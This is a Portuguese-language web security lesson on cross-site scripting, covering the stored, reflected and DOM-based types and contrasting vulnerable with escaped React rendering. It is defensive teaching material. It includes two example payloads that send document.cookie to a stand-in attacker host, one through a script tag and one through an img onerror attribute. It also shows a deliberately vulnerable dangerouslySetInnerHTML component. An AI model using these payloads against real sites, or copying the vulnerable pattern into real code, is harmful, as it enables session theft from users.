Aprenda / Segurança web

FundamentosAula 7 de 1618 min0% da trilha

XSS: quando o input de alguém vira código rodando na tela de outra pessoa

Um campo de comentário sem sanitização não é um problema visual — é uma porta pra rodar JavaScript arbitrário na sessão de outra pessoa.

XSS (Cross-Site Scripting) acontece quando um input controlado por um usuário é renderizado na página sem tratamento, e o navegador de outra pessoa acaba executando esse conteúdo como se fosse código legítimo do site. O nome é meio enganoso — não precisa de "outro site" nenhum envolvido; o ataque inteiro pode acontecer dentro do mesmo domínio, só explorando um campo que ninguém pensou em tratar como entrada potencialmente hostil.

O cenário clássico: um campo de comentário

Imagine um campo de comentário num blog, sem nenhum tratamento no texto antes de salvar ou exibir. Um atacante não precisa de acesso especial nenhum — só precisa preencher o campo como qualquer visitante:

o que o atacante digita no campo de comentário
Ótimo post! <script>fetch('https://atacante.com/roubo?c=' + document.cookie)</script>

Se esse texto for salvo cru e depois renderizado sem escapar, o navegador de qualquer pessoa que abrir a página do post executa esse <script> como se fosse parte legítima da página — porque, do ponto de vista do navegador, ele é parte da página. Note a conexão direta com a lição 3: se o cookie de sessão daquela vítima não tiver HttpOnly, esse script rouba a sessão inteira sem precisar adivinhar senha nenhuma.

Os 3 tipos — focando no que mais aparece

XSS armazenado (o exemplo acima) é o mais grave: o script malicioso fica salvo no banco de dados e é servido pra qualquer visitante daquela página, indefinidamente, até alguém remover o dado ou corrigir a renderização. XSS refletido depende de a vítima clicar num link malicioso especialmente montado (o script vem embutido na própria URL, geralmente num parâmetro de busca ecoado de volta na página) — funciona só uma vez, pra quem clicou naquele link específico. XSS baseado em DOM acontece inteiramente no navegador, quando JavaScript do próprio site lê algo controlável pelo atacante (a URL, por exemplo) e insere isso no HTML da página sem passar pelo servidor nenhuma vez. Os três têm a mesma raiz — dado não confiável virando HTML/JS executável — mudando só onde e por quanto tempo o script fica ativo.

Renderizar cru vs. escapar — a diferença de uma função

Renderização vulnerável
function Comentario({ texto }) {
  // "texto" veio direto do banco, sem tratamento
  return <div dangerouslySetInnerHTML={{ __html: texto }} />;
}
// <script> dentro de "texto" é interpretado e EXECUTADO pelo navegador
Renderização segura
function Comentario({ texto }) {
  // renderização normal do React já escapa qualquer HTML no texto
  return <div>{texto}</div>;
}
// "<script>" vira texto literal na tela, nunca é executado

O detalhe importante: React (e a maioria dos frameworks modernos) já escapa conteúdo dinâmico por padrão quando renderizado normalmente — a vulnerabilidade só entra quando alguém usa deliberadamente uma via de escape como dangerouslySetInnerHTML (o próprio nome já é um aviso) pra inserir HTML bruto, geralmente achando que precisa disso pra permitir formatação rica no texto do usuário.

Por que sanitizar, não só "escapar tudo"

Escapar tudo resolve a maioria dos casos, mas quebra qualquer funcionalidade legítima que precise de HTML controlado (um editor de texto rico, por exemplo, onde negrito e links precisam continuar sendo HTML de verdade). Pra esses casos, a resposta não é "escapar tudo" nem "confiar em tudo" — é sanitizar: passar o HTML por uma biblioteca que remove especificamente tags e atributos perigosos (<script>, onerror=, javascript: em hrefs) mantendo o resto intacto.

Exercício

Um perfil de usuário permite um campo "bio" com HTML básico (negrito, itálico, link), renderizado com dangerouslySetInnerHTML. Um atacante preenche a bio com <img src="x" onerror="fetch('https://atacante.com/'+document.cookie)">. Por que isso funciona mesmo sem nenhuma tag <script> no texto, e o que resolveria sem remover a formatação legítima de negrito/itálico/link?

Quiz rápido

Por que um XSS armazenado (salvo no banco de dados) é considerado mais grave que um XSS refletido?
No exemplo com <img src="x" onerror="...">, por que filtrar apenas a palavra 'script' do texto do usuário não teria evitado o ataque?